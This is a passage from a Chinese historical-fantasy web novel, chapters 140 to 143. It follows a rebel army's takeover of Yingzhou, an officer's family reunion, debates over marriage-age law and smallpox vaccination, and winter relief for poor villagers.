这个功夫,广运帝也没法子说派兵去平乱,他自己都顾不得了。 “老大什么近来在做什么?”广运帝提起太子,金公公沉默了半晌才开口。 “陛下若是想着太子了,不若改明儿招来瞧瞧,上回陛下训斥了人,还在家面壁思过呢。” 这话广运帝是不信的,他了解他几个儿子,有齐王在,太子和晋王会老实在家就有鬼了。 “你不必瞒朕,这趟来江南来的匆忙,看似朕还是皇帝,但下面的人早就不安分了,只怕不少人已经投效齐王名下。” 要说还在长安,齐王是占不了好的,偏这会子在齐王的封地,等长安那边太平了,这头只怕要不太平了。 “陛下哪的话,不说您如今康健,单是下头太子也没病没灾的,怎么也轮不到齐王。” 广运帝冷哼一声,连身边伺候的老东西都开始阳奉阴违了,可见齐王的动作之快,他倒要看看老大和老二要使什么手段。 …… 秋收后,玄甲军治下的粮铺粮价一降再降,亏得今年田地大丰收,又有玄甲军压着,不然一年地都白种了。 “大历开国盛世的时候,能做到斗米四文,咱们眼下为了不叫农户吃亏,压住了粮价,不然还能再便宜些。”尚柒看过今年的粮食收成,很不错。 不说别的,军队至少三年不愁粮食的。 “那时候才多少人,再一个四文也多是中原一带的价格,往南去只怕是没那么便宜。”斗米四文,等整个中原都种上双季稻,或许能做到,眼下紧着西南,又供给军队开销,能做到斗米十文,都是巨大的进步。 尚柒自然也认可这话,但粮食便宜了也会生出不少问题。 “咱们是不是得未雨绸缪,想着法限制人口。”如今因为私塾的缘故,哪怕是村里结亲也不会早过十五,但百姓历来求多子多福,粮食便宜了一口气生七八个都是有的。 初看是好事,人口多了他也能做更多的是,可先不提现在土地能够养的人口有限,就是粮食跟他那个时代一样,也不能放任人口无限制的增长下去。 他是清楚如果朝廷不限制,粮食又充足的情况下,人口增长的速度,难不成真等到自然增长到人口上限,叫多出生的饿死么。 “与其限制人口,不如限制结婚年龄。” “时下晚婚也不过十七八,二十岁没成亲的多是男子,为的是先立业后成家,哪怕咱们将婚龄订到三十,也不耽误他们多生孩子。” 这话是不假的,毕竟现在晚上也没什么娱乐活动,夜里不说心疼蜡烛,就是有火光也不知道做什么,可不就只有在床上厮混。 这会子也没什么不伤身的避孕法子,什么鱼鳔之类的东西,也只有大户人家舍得用,且还不一定好用。 “按如今的人口,强制他们少生孩子没必要,如此只能在孩子多了上面做文章。”若说罚钱,那有钱人家都是出得起的,不过到底有钱的少,靠他们增加的那点人口也有限,但生几个算罚?人口什么时候多什么时候少,都不是一下能弄清楚的,他们现在又没有便利的工具帮着分析。 “此事虽然算不上急迫,但咱们得上点心。”尚柒想着桩桩件件的事,实在费神。 “你我现在也不过是杞人忧天,只要咱们治下私塾一直推广,这孩子也不见得会源源不断的增加。” “也有道理,但婚龄还是需要早些定下。” “这事在拿下应州前拿出个章程也就是了,到时候写在初律里。” 两人说话间,秋收后的玄甲军就往应州去了。 这次领兵的自然还是樊泊,别景和虽说也该是去军营做将军的,但没得盖过樊泊去。 不说樊泊是尚柒千辛万苦挖来的,来军营也来的早,盘州拿下有赖樊泊指挥,单是樊泊的本事也不比别景和差,当初别景和能统领禁军,和别家也脱不了关系。 二人在军营认识后,也曾演过武,别景和虽能和樊泊打的有来有回,但也还是输了。 大军入应州后,一路势如破竹,一场像样的仗都没打,就直接到了应州城,甚至玄甲军到应州城的时候,应州城的官员还主动打开大门迎接,连城里的富户都捆好,只等玄甲军过来交货。 叫樊泊以为是中了什么请君入瓮的陷阱,好在前来接待的还有主公的妹妹,上前解释后,玄甲军便驻扎在应州城内,等两位主公过来。 这头局势刚定,樊泊也得空回一趟家,当初东家将他们一家安置在清平县,后头公子去了应州城,还问过他家老小是否要去应州城安家。 后头还是他家娘子说在清平县住惯了,暂时不动,等哪日当家去了应州安顿,再说去应州的事。 眼下樊泊替东家占据应州,自然也在应州得一个住处,安置妻儿老小,当初从长安过来的同僚也都是这么做的,到底州府比县城富庶,谁不想家里人过得好些。 第140章 汪娘子带着一家老小从清平县到应州城, 进了东家给安排的小院,再没不满意的。 之前清平县的宅子也好,一家人住着宽宽松松不说, 就是待客也是方便的,原以为到了应州城,院子该比不上清平县, 不想无论是地段还是大小, 都胜过清平县不知多少。 转角出门就是私塾, 两个小的上学都不必接送, 自己溜达几步便到家了, 再一个院子离应州衙门也不远, 治安没的说。 “娘,这院子这样好,真给我们住?”小丫头也是有几分见识了, 瞧着院子里不光朝向好, 连屋里的大件都是置办齐全的,她们过来,不过添补些床单被褥, 这都是行礼有的。 “你爹有本事,给咱们挣来的,只管安心住。”汪娘子不敢说他们爹是在造反, 当家的也是够瞒着的,前些时候大军都要打到应州门口了, 才给了一封信,原原本本的说了这事。 大抵也是怕她们晓得后担惊受怕,这会子大事已成,再瞒不住方才摊牌, 就这样汪娘子几乎都吓的魂不守舍好几日,若不是身子骨有东家的好药养过,怕是又得大病一场。 后头爹娘也晓得了,虽都是升斗小民,但到底多吃了十几年的饭,说是盘州应州既然都打下来了,他们只管安心住就是,左右东家不会亏待了他们。 这话是不错的,之前在清平县,也有从前长安认识的娘子郎君,她们当家的也是给东家办差,现在想来,都是禁军出身,护送商队只怕也是个借口,人多半都在军队里。 只是先前走的急,也忘了去几家看看,不过汪娘子认为,多半也和她一样都被蒙在鼓里。 她不过寻常百姓,当家的从前在禁军当个小领队,虽在街巷里算的上一份好差事,但实则苦楚只有自己知道。 要是在长安说是叫当家跟去造反,她是万不能同意的,说句大逆不道的,就是不管爹娘,难道不为两个小的想想。 可话又说回来,当家的在东家手里,能统领成千上万的兵,每月工钱多的根本花不完,两个小的也能读书识字,这样的日子可比从前好了不知多少倍。 没体验过就罢了,如今好日子都过了这么久,真要她回长安过苦日子,怕也是不肯的,如此,这造反的路便只有一条道走到黑了。 日后万一真被朝廷拿了,左右不过一个死字,当初在长安,若非是东家出手相救,她们一家本也没有活路。 当家一去,留下老的老小的小,没什么生计养不活两个小的不说,她也不见得有几年活头,现在好日子都是仰仗东家偷来的,多过一日就是赚一日,何必去想后头的糟心事。 “大郎信里不是说近日要回家一趟么,家里刚过来,彻底收拾好还要一阵,但家里饭食还是多筹备着。”樊老爹倒是看的开,已经琢磨怎么在应州城过好日子了。 “眼下初来应州城,到底人生地不熟,待家里收拾好,我便去附近走走看,有私塾的地界,住的人也多,必是有专门的菜场,想来每日买菜做饭也如清平县一般方便。”汪娘子已经有过在陌生地界生活的经验,到了应州城也不慌张,今日家里肯定是开不得火,但一路坐马车过来,可看见街两边少不得摆摊的。 想是平日里靠着私塾没少做学生生意,只管花几十文买些填肚子的小吃混过去,改明儿厨房收拾出来,再去菜场买柴和菜,便能在家中开火。 她已经在院里转过,这院子是有井的,日后用水也方便,也得是南边水多,要是在长安,可没那么多水井给自家用。 甚至长安的水井许多都是苦水,大部分人家想吃口甜井水都难的跟什么似的。 “这处宅邸瞧着位置是极好的,肯定也是得了东家的嘱咐,特意给咱们准备的,等大郎回来,且告诉他谢谢东家体贴咱们。” “公公放心,这话我一定告诉当家。”她再清楚不过她当家是个锯嘴葫芦,尤其当初东家有心看上当家要叫他去西南,他一推二拒,虽说东家不是那等小气之人,但几句好话那也是该说的。 闲事说罢,汪娘子便开始收拾屋子,公婆的屋子自有他们收拾,她主要收拾的还是两个小的和她自己住的。 两个小的在长安那都是挤在一块住的,到了西南,地方大了便给分开睡,三间屋要说收拾费多少功夫那是没有的,她仔细摸过,都不见什么灰尘,大抵才请人洒扫,省了她不少功夫。 原说等明日再出门,想着这会子还早,汪娘子还是打算出去走走看,她自是聪明的,初来此地,人生地不熟,也不敢往远了去。 至于问人,也多是过问左右街坊,清平县只住了一两年功夫,应州城多半是要住久一些的。 街坊关系势必不能差了去,不过从前街坊四邻都是一同长安过来的,也不知道朱娘子她们是否也来了应州城,若是来了,再没有将她们分开安置的道理。 请过一家门口做针线的郎君,晓得周围的路段,汪娘子便敢走远一些,到了菜场,可是不得了。 她们一路过来本是要正午去了,又一通收拾,按说都是下午去了,菜市场的生意也都该歇了,不想应州城这里还热闹的很。 甚至不少人家摊子上的菜都还新鲜,绝计不是早上摘来卖的,虽说眼下这个气候,早上摘来的菜到了下午也不会差了去,但总还是焉巴了些,不比刚摘下来清爽。 如此就是刚摘来的,应州城这里莫不是卖菜还分上午和下午,紧赶着吃新鲜不成。 汪娘子这话自然是没问出口,想来在此地生活久了,再没有不知道的。 应州这头的菜场也大,她走了几个圈方才算大致走完,随后她便往回走,路过私塾的时候还听见里面的读书声,叫她好一阵欢喜。 两个小的原在清平县念书,很得私塾先生喜欢,说是有读书的天分,叫她们做爹娘的万不能耽误孩子,叫汪娘子高兴不已。 当时她还不晓得当家在做什么,只知道若是读书出息,两个小的前程也不必她担忧了,必是有个好出路的。 现在到了应州城,更是该抓一抓两个小的读书,万不能跟清平县一样放任着玩闹去,今儿夜里点灯把家里收拾妥当,明儿就能去私塾叫两个孩子先上课,她手里有清平县私塾开的条子,只消递去应州城的私塾,便能叫两个小的直接念书。 也不知这处私塾的孩子都是什么来头,应州富贵人家多,万一这一处收容的都是富贵人家出来的孩子,想必平日笔墨纸砚用的都是好的。 她虽节俭,但也不会说叫孩子落面子,又是为了念书这等大事。 这不想了一路,她人刚到新宅门口,只见一身着甲胄的儿郎过来,亏得人没戴头盔,不然汪娘子一准认不出门口站着的就是自家当家。 “我回来了。”樊泊一走就是一年多,平日里信和银子都是按时捎回来,但到底不比人在家,汪氏平日也矜持的很,万没有在人前做什么越矩的事,今个儿失了讲究,也不管是不是有人看,直接三步并做两步,过去将人抱住,眼泪也止不住的流了下来。 “你可算是回来了。” 樊泊什么话都没说,只管抱着人:“之后东家说要休养生息半年,我虽还要去军营点卯,但能时时回家陪你们。” “当真么?” “再没有假话,应州拿下,等玄甲军到下面的县城走一遭就要过年了,年节一走又是春耕,万没有这时候动兵的。” “是这个理,你能在家多留些时日,再好不过,家里两个小的也想你的厉害,若是走的久了,怕是他们都要忘了你。”汪娘子用手抹了眼泪,边说边叫人进门,不然叫街坊四邻看了笑话,可不得了。 “哪有那么容易忘,我走的时候他们都记事了,东家还告诉我,教书先生都说他俩聪明,日后也是干大事的。”樊泊当时听到这话,就高兴的不得了,没别的,实在是他也不想大郎走武夫的路子,而二丫头在大历只需选个好婆家,有个能干的哥哥撑腰也不怕人欺负了去。 但玄甲军这里,姑娘哥儿再没有说不能出面做事的,二丫头聪明,日后说不得也能混个一官半职,自己有本事立起来,岂不是比靠兄弟姊妹还要叫人放心。 “哪里就能看出他们有干大事的本领,不过先生的确说两个小的读书厉害,我还想着明儿就送去私塾,不叫他们耽误了读书的时候。” 进了门,汪娘子话一落,两个小的就冒出头来,瞧见门口不光站着娘,还有许久未见的爹,再没有什么规矩,只管直匆匆的跑过去,一把抱住爹。 “你们爹才回来,哪有这样撒娇的,且让人回屋坐着再说。”汪娘子见两个皮猴的动作,倒也不拦着,爷三多久没见了,赖着亲热些如何能拦着。 “重了。”樊泊一手一个抱起来,他在军中练武,手劲历来不小,两个小的加一块才多少斤,手臂半点没晃的抱两个孩子往正厅去,他也要拜见爹娘。 正厅。 “这么说,短时间都不发兵了?”他们过来应州城,正是玄甲军进城没多久,城里倒是一点乱象没有,百姓日子照过,像是先前已经知道玄甲军要过来的消息。 “不错,忠州也乱,应州早前挂在公子名下,东家和公子收容了大半,但都在暗处,这会子摆上明面,要处理的事不必当初盘州少,怎么也要半年功夫,先将应州消化完再去忠州。” “那东家和别公子之后都在应州了?” “这倒说不好,按说西南四州,该以盘州为首,到底富庶,等后头往中原去也方便,但眼下要往南继续打,肯定在应州调兵遣将更方便。” “忠州如何乱了,咱们在清平县倒是没听说过这样的消息。”樊老爹皱眉。 “何止忠州,中原因为一场天花死伤无数,朝廷南逃,北面瞧着是要生大乱的,亏得突厥也遭了天花,没得功夫打过来,不然情况还要更坏。”《 》 140-150 第141章 樊家人一听中原天花肆虐, 都有股劫后余生的庆幸,要是没遇上东家,便是樊泊当初没挨军棍, 遇上天花,樊家一家子只怕没几个能活下来。 “时也命也,要是咱们一家还在长安, 难说能活下来几个, 看来东家真是咱们家的大恩人。” 樊泊是不信神神鬼鬼那套, 但也不得不说, 多亏了东家, 不然他们一家的日子的确不好过。 “也不知从前的街坊四邻情况怎么样了?”樊老娘想起多年街坊, 那都是关系极好的,当初一走也是想着等在西南挣够了钱再回去的,没说一别竟然就是生死永隔。 “怕是不太好。”具体的樊泊没说, 长安城现在虽谈不上鬼城, 但也是死伤无数,几乎一夜之间将大历的国运都消耗大半,原只能说不够生龙活虎, 现在看大历只剩苟延残喘了。 “不提这些伤心事,也是他们没运道,要是天花再晚来些, 牛痘传去长安,怕是也不必死这样多人。” 原牛痘只在盘州种, 后头礼县那边送来的牛痘数量多起来,也能顾及一些应州,到底也是怕天花从中原传来。 “牛痘数量还不够多,管不到中原, 但应州在西南腹地,盘州那边,尤其是和中原连通的县城,都是种了牛痘的,天花传不进来。” “那就好,你媳妇身体弱,两个小的年纪也不够,那牛痘说是种了也可能出问题,正想着要不要种呢。” “看大夫怎么说,若是真不能种便不种,左右天花也还没传过来,军中的汉子们身强体壮,倒是只有一些发了低热熬过去便没事了。” “百姓之中,也只听闻有发低热的,倒是还没听说谁因为种牛痘死了的。” 樊泊想,真要是有大抵也是不敢声张,不然流传出去,百姓肯定是不会继续接种,以前也就罢了,天花到底没泛滥起来,这会子天花迫在眉睫,却是不敢叫百姓任性了去。 “你也累了,且回屋休息去,夜里咱们一家去下馆子,应州的酒楼肯定比清平县好,咱们一家在长安都没吃过酒楼,如今手里有钱了,也该开开眼界,不能小气了去。”樊老爹一锤定音,要说在清平县,大家伙手里都有活干,馆子还是吃过几回。 只是清平县的吃食再丰富也有限,到了应州城,的确可以开开眼界。 “嗯,爹娘你们也辛苦了,下午好好歇歇。”樊泊抱着孩子,跟着妻子一块回了屋。 要说不光樊泊累,一路从清平县赶过来,汪娘子也是辛苦的,这会子一家子都要歇息,也不顾及什么,脱了外衣躺在床上,不过几个眨眼的功夫,就都睡了。 而官衙门里,正是热闹。 州府衙门,别此云亲自筛选过,如今做事的不说都个个有本事,但身价清白可用是能保证的。 原本衙门主事的官员,因为联合尚南枝制住城里的地方豪情,得了功劳,这会子家里被清算,心底也没那么害怕。 他们有功,真要是不讲情面被清算了,日后还有哪方势力敢投玄甲军门下,光看玄甲军铺的摊子,什么分地、什么私塾那都是革先前朝廷的体制,自古变法除了流血就是用人,尤其是有本事的人。 “这些人当真是为了自救什么本事都使出来了,也是应州地方豪强没什么本事,竟然叫他们拿捏住了。” “地方豪强是地头蛇,他们在衙门做事也是地头蛇,两蛇相争,又有强龙的爪牙相助,再没有输的道理。”尚柒不意外他们能制住地方豪强,真要算西南的豪强有本事的大多在盘州。 只是盘州当初打的厉害,该跑的都跑了,剩下的想打也很难打起来。 “如何安置他们倒成了问题。”按他们的规矩,职必然是要革的,真追究起来,不说人头落地,矿脉走一遭是跑不了的。 “将功折过总要给几分情面。”他们自然是要和天下势力作对的,但也要给天下势力一个投效的机会,不然全打成敌人,一股脑想着弄死他们,也的掂量自己的本事够不够大。 “他们也不算有本事的人,留用须得安排一些循规蹈矩的职位,不然占了升迁的位子,迟早也要被别人弄下去。” 此刻玄甲军有的是前景,大家伙只要铆足劲,肯定一席之地,等日后摊子铺开,地盘越大遇到的人才越多,许多本事不济的都是要给挤下去的。 “叫他们管案宗,等新律下来,许多案子也就有法可依。”谢琅被拉过来这么久,头一件事就是被尚柒和别此云拉去修改他们修改一半的新律。 连带着崔渠和别景季也没跑掉,虽说新律日后还得继续修改,但第一版的框架定下,日后再改也很难有大的改动。 历来朝廷律法都是承前朝,再慢慢改动,只是大历律有诸多条款都和玄甲军的理念冲突了,尚柒和别此云殚精竭力想要将靠两人将新律尽善尽美,也是不可能的。 于是大体框架打的差不多,剩下的交给本地人负责修缮,也算是调和二者。 …… 越冬。 应州沙平县黎家村。 “呼——真冷啊。”一路成群结伴的娃娃背着斜跨的布包,你挤我我挤你的挨在一处往家里去。 西南的冬日也是能冷死人的,不过今年应州的粮价打玄甲军过来,也是一路走低,倒是叫百姓有钱买几匹布裁成新衣过冬。 “县里来了应州城运来的煤,说是比木炭烧着热,一块还能烧许久,也不知有多贵。” “别想着煤了,咱们谁家过冬能用上炭,连柴火都烧的不多。”要说冬天这群娃娃最喜欢的,就是在灶房做事,守在灶口,柴火烧的热热的,比在床上都舒服。 “可先生不是说,给好价么。” “那也不是咱们买的起的,就算买的起一两块,烧过今日,明日怎么办,不如想想怎么得点棉花要紧。” “棉花说是保暖,但咱们也不曾见过,万一是假的怎么办?” “玄甲军历来说话算话,既然说棉花暖和,制成棉被盖上冬日不冷,想来做不得假。” 一群孩子说着到了村口,便各自分开去了家里,再过些时候私塾就放假了,村里的娃娃也不必起早冒寒的去上学。 黎浅家在村尾,最远,多走几步回到家,身子已经冷的感觉不到热气了,好在家里正做饭,灶房是热火的,只钻进去待一会,便恢复知觉了。 “先生还没说什么时候放假吗?这赶早摸黑回来,冷的人都要掉手指头了,学堂烧炭吗?这么冷怕也是写不得字。” “学堂烧煤,倒是比家里暖和,先生说再有几日就放假了,不过问我们愿不愿意接差事。” “什么差事?”黎浅的阿耶来了兴趣,要说这官府也是怪,突然修什么私塾,要家里没满十五孩子,无论男女都去上学,他们家人丁少,孩子原也是有三个,但两个都没站住,只活了黎浅一个。 虽是个哥儿,但家里很是疼爱,算年纪,黎浅也快满十四了,照黎家村的规矩,十一二就能定亲,只黎家还想留黎浅几年,方到了十四还没说亲,谁想又赶上私塾,那十三四成亲的姑娘哥儿,也都被赶去念书了,也是一方奇谈。 “帮衙门做事,只写写字,统计统计,每日也有钱拿,就是须得在外头做事,冷的很。”像黎浅这个年纪的孩子,尤其是哥儿,真不见的能寻着什么差事,有一桩帮衙门做事的差事,实则再好不过。 若是得了脸,日后读完书,去衙门应聘,说不得也能走走后门。 “这样冷的天,再多的钱挣来,人只怕是要冻坏。”黎浅的阿耶不肯叫黎浅去,他三个孩子,只活了这么一个,怎么舍得人去挨冻。 “外差都是走动着,人活动哪能冷,一进室内衙门都是烧煤,再冷不着,而且我听说今年有棉花,若能多攒一些钱,买些棉花做棉被,夜里也不怕冷了。” “你这哥儿是打定主意了?”黎浅阿耶晓得自家孩子是个有主意的,念了书后,更是心思大了,家里是管不得。 “阿耶,家里这个样子,玄甲军来了,给咱们分了田,但粮价一跌再跌,明年就是粮食丰收,也就是能管咱们肚子,卖肯定是卖不上价。 光靠种地那点钱,何时才能攒钱修好房子,房子不修每年冬天都要挨冻,我这会子在私塾学了些本事,叫先生看上帮衙门做事,不说能挣钱,就是在衙门露露脸也是好的,说不得我也有运道去衙门做差,到时候我把你和爹都接去县里过日子。” “好话你最会讲,衙门哪是那么好进的,差事你若想去做,就得做好挨冻的准备,可不敢半道撂挑子,不然你先生面子也过不去。” “阿耶放心,我看新衙门比旧衙门好,便是我真不成了,衙门肯定也是管的。” 黎浅得了家里允许,心心念念等着明儿回复先生。 也不晓得衙门到底什么差事,要他们这些年纪小的孩子帮忙,要说优势也就是念了些书,但常用字都没认全,写字更是跟狗刨似的。 他在班里算好的,但跟先生的字一比,就相形见绌,希望衙门到时候不要嫌弃才是。 第142章 沙平县。 自从玄甲军入了应州, 沙坪衙门主事的主簿就一直提心吊胆,无他,谁叫他们县令得罪过玄甲军的顶头上司, 要说他家大人官运一点没有,得罪人倒是一得罪一个准。 谁想当日一个平级的清平县县令转头成了叛军头子,还拿下盘应二州, 若是对方小心眼一些, 当初潘大人在沙平县阻碍修路的事, 就能丢了官位。 结果玄甲军过来, 半分不提旧怨, 反而规矩的该做事做事, 只是自家大人反而一时转不过弯,还犟着不肯低头。 可随着玄甲军抓了不少县里作威作福的人家,又给百姓分地田地, 连潘大人也不能说玄甲军什么不对。 “听闻年后玄甲军的新律就要有了, 说是要废除奴籍,还有什么禁烟花柳巷和赌场,这规矩一出, 只怕百姓间还有的闹。” “闹?你看看县里的富户,哪个见了玄甲军不是点头哈腰,恨不能认玄甲军做祖宗, 莫说是玄甲军收了这些寻欢作乐之所,就是要他们子弟阉了到尚柒别此云跟前当太监, 也是愿意的。”比起主簿的担心,潘标不觉得这是个事。 不说远了,县里寻欢作乐之所,去的都是什么人?都是有钱人家的子弟, 寻常百姓或有隔一段时间去耍的,但人楼里赌坊是不指望这些人赚钱,所以真禁了,也没什么人闹。 至于富户,人玄甲军连地都给买走了,只一两间赚钱的买卖,难道还有什么顾忌不成。 “我也不光说这两条,应州城传来消息,叫百姓间这段时日都不许婚嫁,只怕新律对此事也有规定,一惯百姓嫁娶官府都只有催促的,什么时候还有拖延的?” 若说方才那些规矩,只有富户受影响,婚嫁就成了百姓间的事。 “玄甲军一来就给百姓分了地,农户人家真要是不肯听,转头玄甲军将地收回去,他们还能跟着犟么? 再一个县里的百姓,不说远了,就是玄甲军传出风声,会派大夫义诊,还要给百姓种牛痘预防天花,眼下中原天花正在肆虐,玄甲军手握救命的东西,百姓也是知道死活,如何能够和玄甲军抗衡。” 依潘标看,只要玄甲军不是要他们的命,其他事都不见得能引起什么争端,顶多是一些不满的百姓私下里说嘴,都不敢摊在明面上。 也是玄甲军有气魄,竟然动豪强地主,单单是给百姓分地一条,就足够收买人心,之后更是手段频出,难怪这么快拿下盘州后,又能吞吃应州。 “大人看的这么透彻,如何不明白眼下西南就是玄甲军说了算?” “你这老家伙倒是终于图穷匕见,我不是什么忠诚良将的主,虽不至于说玄甲军一来就趋炎附势,但也不会以身殉国,只是我想上赶着投效,也得玄甲军那边看得见才是。”潘标已经想通了,大历是不成了。 至少西南短时间没谁能和玄甲军争锋,他这样前朝之臣,若是死脑筋,撑死了一条命,官是做不得了。 而说实在,他在大历官场没少吃苦,要说对大历多有情分也不见得,当初尚柒在沙平县所作所为,也能看出此人不是以势压人之辈。 既然玄甲军过来没有撸了他的官位,说明之前的矛盾尚柒不放在心上,他能继续宅沙平县当县令,改日也能在玄甲军手里做大事。 “尚大人别大人就在应州,只要做的好如何看不见?我提新律也是想借此告诉大人,只要咱们能把玄甲军的新律推广制民间,好叫百姓都遵守新律,那便能入上面的眼。” 主簿自认为大历的官员,是少有能得玄甲军喜欢的,不说从前在大历行事,就是如何讨好玄甲军只怕都不知道,说不得做些讨好的事,反而将马屁拍在马蹄上了。 潘标闻言上下打量了主簿一番,说实话,他自然也有在玄甲军面前表现的意思,只是一时没想着该从哪里着手,不想主簿已经窥得其中真味。 “连主簿,我瞧着你比我更适合在玄甲军中露面,以如今玄甲军的架势,官衙用人只有比从前多的,你在沙平县当主簿也是屈就了。” 大历当官自然是看出身,衙门里混的都是本地有钱有势的人家,虽没有官阶品级,但也协助县令做事得一二好处,可要说往上走,基本是没有门路的。 玄甲军这里,求贤不问出处,听闻尚大人身边第一得力干将,正是个姑娘,如此姑娘哥儿都能出府做事,主簿自然也有高升的一日。 “大人这是说的哪里话?”显然主簿在这方面还没开窍,只想着潘标若是得了玄甲军喜欢,他日后也有好日子,没想过自己投效玄甲军。 “依我看,连主簿你处事比我圆滑,本事也不见得比我低,与其耗在一县衙门,不如也在玄甲军跟前露露脸,我想玄甲军正是缺能人的时候,何必在此地蹉跎。” 潘标倒是不嫉妒贤才,话也说的明白,只看连主簿能不能想通这点关节。 而应州其他县衙门,却是不如沙平县的,就说黄谷县的邹县令,装聋作哑多时,玄甲军一到他也只有撂挑子的份,唯一庆幸的是,家里的哥儿争气,当初入清平县帮着尚柒做事,展露才能,这时候混个县令当在容易不过。 事要是办的漂亮,往州府衙门去也不是不成,只是家里的儿郎没赶上时候,便是此刻投效玄甲军,也是赶不上邹小哥儿的地位。 且看玄甲军有意针对地方豪强,只怕他家的孩子个个成器,也会被分到天南地北做事,真要是下一代当官的都聚集在应州,邹家难说不是下一个地方势力。 而应州城的四家豪强,一个个被衙门拿了后,在玄甲军跟前都老实的很。 应州白家运气是最好的,不说旁的,老早就和尚家有生意往来,尚柒和别此云到应州后,白家也是极为友好,比起其他几家,白家只要肯听玄甲军的话,全家基本都无虞。 甚至出来后,只要没沾染什么命案,转头效力玄甲军,也能得尚家的看重,原应州的豪强以管家为首,玄甲军一来,格局怕是要大便。 不管应州如何风起云涌,随着天气越来越冷,沸沸扬扬的应州也渐渐平静下来,百姓的生活除开分地的时候有些变化外,其余还是照常生活。 年前礼县、白鹤县、清平县和黄谷县出产的棉花借有私塾先生推荐,分发到穷户人家手里,钱肯定也是要给的,只是价不高。 大部分得了棉花的人家,倒是能用则用,毕竟冬天实在难捱,煤也是买不起日日烧的,少部分有心计的,私下高价卖了出去,得了些钱,买了几日的煤准备最冷的时候烧,余下都是赚的。 分给穷户后,市面上的卖的棉花数量很少,基本都叫大户人家买走了,余下人家买不着棉花,便低价试了试官府卖的蜂窝煤,回家一烧,的确是好。 若是舍得钱,愿意买个配套使的煤炉,冬日也不必烧柴做饭,热水也是能时时喝的,不过煤炉是铁打的,再便宜也便宜不到哪儿去,能用上的终究是少数。 赶在年关口,尚乌桕到了应州城,今年因为别哥哥家里人过来,过年的时候想来是热闹的。 “阿兄和别哥哥只怕是没空歇下来过年。”尚南枝翻看应州和盘州各地送来的情况,有些地方今年竟然下了大雪,乡下的茅草房基本上是扛不住大雪的,连年久失修的砖瓦房都有坍塌的危险。 为了预防雪灾,玄甲军练出来的老兵都被派去各地执勤,下面的人东奔西忙,上面的人自然不能寻欢作乐。 “雪灾情况严重,岂不是要大夫支援?”玄甲军的大夫从来不够用,不说远了,就说军营,出去打仗,军医是少不了的,而玄甲军的队伍越来越大,需要的军医就越多,不然一场大仗打下来,靠三两只小猫救命,和等死有什么区别。 而大夫本就少,军医需要行军,大部分大夫是吃不得这个苦,最后还是得招人学,唯一的好处是,军医首要学会处理外伤,就能勉强上阵,至于风寒感冒和其他病症该怎么医治,只有后头慢慢学。 “你想去?”尚南枝如何不清楚弟弟的心思? “若缺大夫,我没有不去的道理,阿兄和别哥哥都在奔忙,我留在应州城也没什么意思。”他是个爱热闹的,还以为今年过年一家人又能团团圆圆,没成想国事还压在前头。 “你这小胳膊小腿就别去添乱了,真要是想治病,不如跟着队伍出义诊。”先不提尚乌桕本事济不济,单是年纪哪能让人寒冬腊月里赶路。 “也成,阿兄说我的医术就是缺乏经验,能有大夫带着我看几年病人,便能独自看诊了,我还想要在阿兄建的医院里做事呢。” “没影的事,大夫人数太少,就是建了医院,也没几个大夫在里面看诊,培养新人,没个三五年不敢叫人看病。”虽说阿兄到了清平县后,再培养大夫上也下了功夫,清平县第一批念书的孩子,也多快年了近两年的书,字认全了,也可以转头学医,但什么事都需要时间。 或许等黄州打下来,玄甲军一统西南,盘州城的医院能搭建起来。 “还不是老大夫教徒弟都藏着掖着,自己本事也没多少,教徒弟更是磋磨人数十年光阴,阿姊你是不知道,当初过来跟咱们学医的药童里,有多少人只一年功夫,就学的很出色,真要比医术,说不得那些老大夫还不及他们呢。” “你这话是没道理的,大历的大夫,不讲究什么治病救人的抱负,不过是跟铁匠木匠一样,当个传家的行当。 一县能养的起多少大夫,这些老大夫收徒为的是日后有人养老,不是教出来抢自己生意的,像阿兄那样,什么都倾囊相授才是少数。” 这是尚南枝在外头做事悟出来的道理,与其说大历人奇怪,不如说阿兄做事非比寻常,也亏得阿兄是她和乌桕的阿兄,不然她们按大历的规矩,指不定要吃多少苦头。 别的不提,乌桕必然是不能学医的,她么,莫说出门做生意,就是出门都困难。 第143章 西南少有地方冬日会下大雪, 但近些年气候发生了变化,至少从去岁起,西南冬日是一年比一年冷。 盘州应州这样海拔不高的地界还好, 往忠州黄州方向去,海拔高的地方冬日怕是不好过。 “盘州情况还好,雪没有应州大, 从前乡里住茅草房的人家, 也都赶在过冬前修缮了一番, 能熬过去。” 时下修一间房也是不便宜, 便是在工坊做工的人家, 也都要攒几年, 若真撑不住,大抵会将屋顶的茅草换成瓦,左右修新房瓦也还能用, 倒是冬日不必再担惊受怕。 “应州真遭灾的地方也不多, 但这次玄甲军到各村落查看房屋情况,住茅草房的比想的要多。” 盘州因为富庶些,百姓情况大体是比应州要强, 像是从前清平县,也算是整个大历数一数二的穷县,亏得现在工坊也修好了, 百姓地里粮食也是蹭蹭往上长,一两年下来, 再穷的人家也都将茅草屋顶换了。 “宋管事分配棉花时,我看过,应州这边分得棉花的人家比盘州多得多,便是没有大雪压塌房顶, 冬日怕也有不少人熬不过去。” 尤其是上了年纪的老人,县城里还好点,乡下那真是操劳一生,五十多已经是高龄,大部分乡下老人都是冬日走的。 “我在想西南如此,中原不知又是个什么景象,且更往北的情况又如何。”尚柒的耽误不无道理,冬日越冷,越往北的地界越难生存,突厥被一场天花大伤元气,没工夫南下攻打大历,但北面又不只突厥一支势力,其余势力亦是虎视眈眈。 若冬日当真冷的没法生存,大历北面边关恐怕又得有一场战争。 “若是北面起战事,情况会比你我想的还要糟,北面经历一场大范围天花肆虐,广运帝先前又断了北面和中原的消息,只怕如今北面人丁稀疏,加上之前一战边军大抵所剩无几,真要有敌来袭,多半会一口气打到长安。” 打到长安都是好的,若继续南下,龟缩在江南的大历朝廷还不知会如何应对。 比起中原由外族做主,自然还是大历当家更好一些。 “也别这么想,天花一日不绝,我想外敌也不见得愿意踏入北面,不然和主动过来送死也没什么区别。”别的不要命的疫病也就罢了,天花从大历往外,都吃过苦头,没谁真愿意沾染上。 而远在江南的朝廷,倒是一片祥和之景,江南虽然没有长安的平康坊那样各地美人都有,但也不缺舞姬歌姬,寻欢作乐的地方是不缺的。 尤其是江南迎来了一批有钱的世家,原本的歌舞伎坊生意只有更红火的,甚至宗室也有不少人结伴过去,倒是叫江南这头见识了长安儿郎为红颜一掷千金的本事。 同样因为江南的权贵多了,从前作威作福的富户也都开始夹起尾巴做人,如今任何耍乐的地方,都可能遇上长安过来的权贵,一个不慎就有阖家被抄没的风险。 